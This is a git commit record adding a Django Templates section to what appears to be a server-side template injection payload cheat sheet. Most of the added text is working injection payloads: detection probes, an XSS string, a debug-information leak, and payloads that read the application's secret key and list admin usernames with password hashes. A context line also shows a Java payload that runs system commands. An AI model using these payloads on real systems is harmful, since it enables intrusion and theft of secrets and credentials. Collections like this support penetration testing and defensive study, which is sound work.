Merge pull request #535 from Techbrunch/patch-11

Add Django Templates SSTI
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Swissky 2022-08-30 14:43:38 +02:00 committed by GitHub
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@ -33,6 +33,7 @@
- [Java - Basic injection](#java---basic-injection)
- [Java - Retrieve the systems environment variables](#java---retrieve-the-systems-environment-variables)
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
- [Django Template](#django-template)
- [Jinja2](#jinja2)
- [Jinja2 - Basic injection](#jinja2---basic-injection)
- [Jinja2 - Template format](#jinja2---template-format)
@ -337,6 +338,67 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
---
## Django Templates
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
### Detection
```python
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }} # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
```
### Django Templates for post-exploitation
```python
# Variables
{{ variable }}
{{ variable.attr }}
# Filters
{{ value|length }}
# Tags
{% csrf_token %}
```
### Cross-site scripting
```python
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
```
### Debug information leak
```python
{% debug %}
```
### Leaking apps Secret Key
```python
{{ messages.storages.0.signer.key }}
```
### Admin Site URL leak
```
{% include 'admin/base.html' %}
```
### Admin username and password hash leak
```
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
```
## Jinja2
[Official website](https://jinja.palletsprojects.com/)
@ -893,3 +955,4 @@ $str.valueOf($chr.toChars($out.read()))
* [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
* [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/)
* [A Pentester's Guide to Server Side Template Injection (SSTI)](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti)
* [Django Templates Server-Side Template Injection](https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf)